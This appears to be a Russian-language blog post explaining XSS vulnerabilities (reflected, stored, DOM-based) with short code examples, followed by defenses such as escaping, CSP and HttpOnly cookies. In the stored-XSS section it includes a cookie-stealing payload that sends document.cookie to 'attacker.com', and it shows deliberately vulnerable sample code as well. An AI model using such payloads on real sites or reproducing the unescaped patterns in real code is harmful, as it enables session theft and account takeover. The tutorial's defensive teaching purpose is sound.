Найти в Дзене

Что такое XSS-уязвимость на сайте, как это работает и как этого избежать

Народ, всем привет. XSS-уязвимость, она же Cross-Site Scripting, это один из самых распространённых и опасных классов уязвимостей в веб-приложениях, связанный с внедрением и выполнением вредоносного кода на стороне пользователя. В отличие от атак на сервер, XSS направлена на браузер жертвы и использует доверие пользователя к «хорошему с его точки зрения» сайту. Из-за этого последствия атаки могут быть незаметными, но при этом крайне серьёзными. Пока ничего не понятно? Давайте разбираться. Суть XSS-уязвимости заключается в том, что веб-приложение недостаточно проверяет или экранирует данные, вводимые пользователем. Злоумышленник может внедрить в эти данные JavaScript-код или HTML-разметку, которые затем сохраняются или отражаются страницей и выполняются в браузере другого пользователя. Поскольку код запускается в контексте доверенного сайта, браузер считает его безопасным и предоставляет доступ к cookies, данным сессии и элементам страницы. Представим сайт с формой комментариев, который
Оглавление

Народ, всем привет. XSS-уязвимость, она же Cross-Site Scripting, это один из самых распространённых и опасных классов уязвимостей в веб-приложениях, связанный с внедрением и выполнением вредоносного кода на стороне пользователя. В отличие от атак на сервер, XSS направлена на браузер жертвы и использует доверие пользователя к «хорошему с его точки зрения» сайту. Из-за этого последствия атаки могут быть незаметными, но при этом крайне серьёзными. Пока ничего не понятно? Давайте разбираться.

Суть XSS-уязвимости заключается в том, что веб-приложение недостаточно проверяет или экранирует данные, вводимые пользователем. Злоумышленник может внедрить в эти данные JavaScript-код или HTML-разметку, которые затем сохраняются или отражаются страницей и выполняются в браузере другого пользователя. Поскольку код запускается в контексте доверенного сайта, браузер считает его безопасным и предоставляет доступ к cookies, данным сессии и элементам страницы.

-2

Как это работает

Представим сайт с формой комментариев, который выводит текст пользователя без проверки:

<p>Комментарий: USER_INPUT</p>

Если пользователь введёт обычный текст, всё будет работать нормально. Но если злоумышленник отправит вместо комментария JavaScript-код:

<script>alert("XSS")</script>

и сайт выведет его без экранирования, браузер выполнит этот код. В реальной атаке вместо alert может быть кража cookies или подмена страницы.

Существует несколько основных типов XSS-уязвимостей. Самая простая форма это отражённая XSS (Reflected XSS). В этом случае вредоносный код передаётся через параметры запроса, например в URL или форме поиска, и сразу же возвращается в ответе сервера. Пользователь переходит по специально сформированной ссылке, и внедрённый скрипт выполняется в его браузере. Такие атаки часто используются в фишинговых кампаниях, где жертву убеждают перейти по «безопасной» ссылке.

query = request.GET["q"]
return f"<h1>Результаты поиска: {query}</h1>"

Если пользователь перейдёт по ссылке:

https://site.com/search?q=<script>alert(1)</script>

браузер выполнит внедрённый скрипт. Обычно такие атаки распространяются через фишинговые письма или сообщения, где жертве предлагают перейти по «обычной» ссылке.

-3

Более опасным вариантом является хранимая XSS (Stored XSS). Здесь вредоносный код сохраняется на сервере, например, в комментариях, профилях пользователей или сообщениях форума. Каждый раз, когда другой пользователь открывает заражённую страницу, скрипт автоматически выполняется. Хранимая XSS особенно опасна, так как может затронуть большое количество пользователей без дополнительных действий со стороны атакующего.

<div class="comment">
USER_COMMENT
</div>

Злоумышленник оставляет комментарий:

<script>
fetch("https://attacker.com/steal?c=" + document.cookie);
</script>

Каждый пользователь, открывший страницу с этим комментарием, незаметно отправит свои cookies атакующему. Если cookies содержат идентификатор сессии, злоумышленник сможет получить доступ к аккаунту жертвы.

Канал «Т.Е.Х.Н.О Windows & Linux» — экспертные статьи, реальные гайды, настройка ПК, приватность и оптимизация. Всё бесплатно и без платных подписок!
-4
Т.Е.Х.Н.О Windows & Linux | Дзен

Присоединяйся, чтобы стать профи!

Третий распространённый тип это DOM-based XSS. В этом случае уязвимость возникает не на сервере, а в клиентском JavaScript-коде, который небезопасно обрабатывает данные из URL, cookies или других источников. Вредоносный скрипт внедряется и выполняется прямо в DOM-дереве страницы, минуя серверную фильтрацию. Такие уязвимости сложнее обнаружить, так как сервер может вообще не видеть опасные данные.

<script>
const name = location.hash.substring(1);
document.getElementById("output").innerHTML = name;
</script>

Если пользователь откроет ссылку:

https://site.com/#<img src=x onerror=alert(1)>

вредоносный код будет выполнен, хотя сервер вообще не участвовал в обработке данных. Такие уязвимости сложнее обнаружить, так как они не видны в серверных логах.

Что же делать?

Последствия XSS-атак могут быть очень разнообразными. Наиболее частый сценарий это кража cookies и идентификаторов сессии, что позволяет злоумышленнику выдать себя за жертву и получить доступ к её аккаунту. Также через XSS можно подменять содержимое страниц, перенаправлять пользователей на фишинговые сайты, внедрять кейлоггеры, выполнять действия от имени пользователя и даже распространять вредоносное ПО. В корпоративных системах это может привести к утечке конфиденциальных данных и компрометации целых сервисов.

Причины возникновения XSS-уязвимостей почти всегда связаны с ошибками валидации и обработки данных. Разработчики могут доверять пользовательскому вводу, забывать экранировать специальные символы или неправильно использовать шаблонизаторы. Особенно часто проблемы возникают при динамическом формировании HTML-страниц, использовании устаревших библиотек или ручной обработке строк вместо безопасных API.

-5

Защита от XSS-уязвимостей требует комплексного подхода.

  1. Прежде всего необходимо экранировать все пользовательские данные перед выводом на страницу, учитывая контекст HTML, JavaScript, CSS или URL.
  2. Валидация данных на стороне сервера и клиента также играет важную роль, но не должна быть единственной мерой защиты.
  3. Дополнительно рекомендуется использовать современные шаблонизаторы, которые автоматически экранируют вывод, и избегать небезопасных функций вроде innerHTML, если это возможно.

Эффективным дополнительным механизмом защиты является политика безопасности контента (Content Security Policy, CSP). Она позволяет ограничить источники выполнения скриптов и тем самым значительно снизить риск успешной XSS-атаки даже при наличии уязвимости. Также важно использовать флаги безопасности для cookies, такие как HttpOnly и Secure, чтобы усложнить их кражу через JavaScript.

-6

Если Вам нравятся наши статьи, и вы хотите отблагодарить автора (на развитие канала), нам будет очень приятно!